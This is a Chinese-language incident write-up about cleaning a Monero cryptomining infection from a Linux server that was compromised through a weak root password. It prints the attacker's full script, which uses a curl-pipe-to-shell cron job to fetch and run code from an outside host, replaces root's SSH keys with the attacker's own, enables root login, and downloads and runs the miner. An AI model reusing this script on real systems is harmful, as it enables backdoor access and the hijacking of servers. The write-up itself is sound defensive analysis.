Linux服务器中招挖矿矿机程序导致系统CPU资源耗尽的排查过程

何为挖矿，这里稍微普及一下：所谓”挖矿”实质上是用计算机解决一项复杂的数学问题，是用于赚取比特币的一个程序，挖矿是消耗计算资源来处理交易，确保网络安全以及保持网络中每个人的信息同步的过程。可以理解为是比特币的数据中心，区别在于其完全是去中心化的设计，矿工在世界各国进行操作，没有人可以对网络具有控制权。这个过程因为同淘金类似而被称为“挖矿”。

任何人都可以在专门的硬件上运行软件程序而成为比特币矿工。挖矿软件通过P2P网络监听交易广播，执行任务以处理并确认这些交易。比特币矿工完成这些工作后，就有机会获取一定量的比特币作为赏金，但是付出的代价是需要大量的计算资源，挖矿软件依据特定算法，执行大量的计算，会大量占据cpu，导致系统卡顿，严重的直接瘫痪。

这几年比特币价格一路飙升，现在大家玩比特币挖矿的太多了，但多数都是用矿机或者显卡完成计算，而实际上最初比特币的挖矿是用电脑的CPU来进行的，虽然现在CPU的计算力远远落后于显卡和矿机，但并不是说不能用CPU来挖矿了，用CPU挖矿的软件很多，其中最有名的就是XMR，门罗，XMR是一个比特币挖矿程序，能够运行在服务器上挖矿，并大量消耗CPU资源。

下面这个案例就跟这个挖坑程序有关，请听我徐徐道来。

最先是接到客户的电话，说业务系统运行缓慢，完全无法使用了，要了解本质的东西，必须要“深入虎穴”，先登录服务器，看看整个系统的运行状态，再做进一步的判断。top命令执行后，截图如下：

从图中可以看出，系统的平均负载高的离奇，发现都在1000以上了，有非常多的名为sh的进程，这些进程消耗了大量CPU资源，并且这个sh进程还是通过root用户启动的，并且已经启动了很长时间了。

既然已经发现了pid进程号，那么就通过进程号查起，可通过如下命令查看进程对应的启动文件：

#ll /proc/pid -- 可以罗列出相关的文件及目录

来执行一下这个命令：

[root@oa228 ~]# ll /proc/35796/exe 
lrwxrwxrwx. 1 root root 0 9月 25 10:06 /proc/35796/exe -> /usr/lib/.cache/sh

果然，发现了35796这个进程对应的可执行文件，他对应的文件是/usr/lib/.cache/sh，一看这个路径，就觉得肯定有问题，无缘无故，为啥在/usr/lib下创建了一个隐藏目录，这不符合常理，既然是隐藏目录，肯定有问题，来这个目录看看，果然有重大发现：

打开其中一个可疑文件pools.txt

可明显的看到这是一个挖矿程序在运行，里面显出了currency:monero7币种类型（xmr门罗币），pool_address矿池地址，wallet_address钱包址等等。 采用CryptoNight算法的代表币种就是Monero，即XMR，门罗。这个是门罗币老算法，适合CPU服务器挖矿，显卡矿机挖矿。哪怕是低端办公用的I3处理器也拥有4Mb以上的三级缓存，能够用于这个算法计算。

再来看一个文件config.json

果然被挖矿了，如何解决呢，首先找到挖矿程序运行的所在目录后，直接清除掉即可，诸如如下目录：

#rm -rf /usr/lib/.cache

最后，删除掉程序目录后，中止对应进程

#kill -9 PID PID2 PID3

你以为这样就完事大吉了吗，错了，清理后，果然，在清除挖矿程序的5分钟后，又发现sh进程启动起来了。

根据一个老鸟运维的经验，感觉应该是crontab里面被写入了定时任务。于是，下面开始检查系统的crontab文件的内容。

linux下有系统级别的crontab和用户级别的crontab，用户级别下的crontab定义后，会在/var/spool/cron目录下创建对应用户的计划任务脚本，而系统级别下的crontab，可以直接查看/etc/crontab文件。

首先查看 /var/spool/cron目录，查询一下系统中是否有异常的用户计划任务脚本程序。如下图所示：

[root@localhost cron]# ll /var/spool/cron/
total 4
drwxr-xr-x 2 root root 6 Oct 18 19:01 crontabs
-rw------- 1 root root 80 Oct 18 19:04 root
[root@localhost cron]# cat /var/spool/cron/root
*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh
[root@localhost cron]# cat /var/spool/cron/crontabs/root
*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh

可以发现，/var/spool/cron/root和/var/spool/cron/crontabs/root两个文件中都有被写入的计划任务。两个计划任务是一样的，计划任务的设置策略是：

每天的18点到23点，0点到7点，这段时间内，每五分钟执行一个curl操作，这个curl操作会从r.chanstring.com这个网站上下载一个脚本，然后在本地服务器上执行。

这里有个很有意思的事情，此计划任务的执行时间刚好在非工作日期间（8点到23点，0点到7点），此骇客还是很有想法的，利用非工作日期间，借用客户的服务器偷偷挖矿，这个时间段隐蔽性很强，不容易发现服务器异常。

既然发现了这个下载脚本的网站，那就看看下载下来的脚本到底是什么，执行了什么操作，https://r.chanstring.com/api/report?pm=0988 此网站很明显是个api接口，下载下来的内容如下：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
 mkdir -p ~/.ssh
 rm -f ~/.ssh/authorized_keys*
 echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
 echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
 echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
 echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
 echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
 /etc/init.d/sshd restart
fi
if [ ! -f "/var/tmp/minerd" ]; then
 curl -fsSL https://r.chanstring.com/minerd -o /var/tmp/minerd
 chmod +x /var/tmp/minerd
 /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p x
fi
ps auxf | grep -v grep | grep /var/tmp/minerd || /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqy5hflu/XRe4dybhCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQy5hflu/XRe4dybh -p x
if [ ! -f "/etc/init.d/lady" ]; then
 if [ ! -f "/etc/systemd/system/lady.service" ]; then
 curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /var/tmp/KHK75NEOiq66 && chmod +x /var/tmp/KHK75NEOiq66 && /var/tmp/KHK75NEOiq66
 fi
fi
service lady start
systemctl start lady.service
/etc/init.d/lady start

这是个非常简单的shell脚本，基本的执行逻辑是：

1、写入计划任务到/var/spool/cron/root和/var/spool/cron/crontabs/root文件中。

2、接着检查/root/.ssh/KHK75NEOiq文件（这应该是个公钥文件）是否存在，如果不存在，写入公钥到服务器，并修改/etc/ssh/sshd_config的配置。

3、检查挖矿程序/var/tmp/minerd是否存在，如果不存在，从网上下载一个，然后授权，最后开启挖矿程序。同时，还会检查挖矿进程是否存在，不存在就重新启动挖矿进程，其中，-o参数后面跟的是矿池地址和端口号， -u参数后面是黑 客自己的钱包地址，-p参数是密码，随意填写就行。

到这里为止，挖矿程序的运行机制基本清楚了。但是，客户的问题还没有解决！

那么黑 客是如何植入挖矿程序到系统的呢？这个问题需要查清楚。

接着，检查系统防火墙iptables，发现所有规则全部开放，相当于没有使用防火墙，然后询问了客户机器的密码，发现非常简单易破解，最后，在系统的/var/log/secure中找到了入侵的根源，日志如下：

Sep 22 04:17:56 pkserver unix_chkpwd[36592]: password check failed for user (root)
Sep 22 04:17:58 pkserver sshd[36590]: Failed password for root from 92.168.10.187 port 34714 ssh2
Sep 22 04:17:58 pkserver unix_chkpwd[36595]: password check failed for user (root)
Sep 22 04:18:00 pkserver sshd[36593]: Failed password for root from 92.168.10.187 port 34740 ssh2
Sep 22 04:18:01 pkserver unix_chkpwd[36598]: password check failed for user (root)
Sep 22 04:18:02 pkserver sshd[36596]: Failed password for root from 92.168.10.187 port 34766 ssh2
Sep 22 04:18:03 pkserver unix_chkpwd[36601]: password check failed for user (root)
Sep 22 04:18:05 pkserver sshd[36599]: Failed password for root from 92.168.10.187 port 34792 ssh2
Sep 22 04:18:06 pkserver unix_chkpwd[36604]: password check failed for user (root)
Sep 22 04:18:07 pkserver sshd[36602]: Failed password for root from 92.168.10.187 port 34820 ssh2
Sep 22 04:18:08 pkserver sshd[36605]: Accepted password for root from 92.168.10.187 port 34846 ssh2

上面的日志很明显验证了，客户机器密码简单，通过密码字典破 解了系统密码，然后进入系统植入了上面一些列的文件和挖矿程序。

最后，梳理下本次清除挖矿程序的步骤：

1、确定对应的进程，找出挖矿程序的目录位置

2、清除所有挖矿相关的所有文件，并中止进程

3、查找入侵的原因

4、更新原有账户体系下用户的密码强度，安装强有力的防护软件，提升系统安全性。

事故出于麻痹,安全来于警惕，让我们用这句话来结束本文吧！